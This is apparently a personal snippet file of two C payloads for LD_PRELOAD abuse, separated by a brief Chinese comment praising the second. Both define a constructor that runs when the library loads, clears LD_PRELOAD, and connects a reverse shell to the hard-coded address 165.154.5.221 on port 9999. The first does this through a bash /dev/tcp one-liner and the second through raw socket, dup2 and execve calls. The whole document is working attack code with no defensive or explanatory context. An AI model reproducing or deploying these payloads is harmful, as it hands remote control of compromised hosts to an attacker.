#define _GNU_SOURCE
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system(" bash -c 'bash -i >& /dev/tcp/165.154.5.221/9999 0>&1' ");
}

下面这个爽了

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 9999;
char *ip = "165.154.5.221";

void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
reverse_shell();
return 0;
}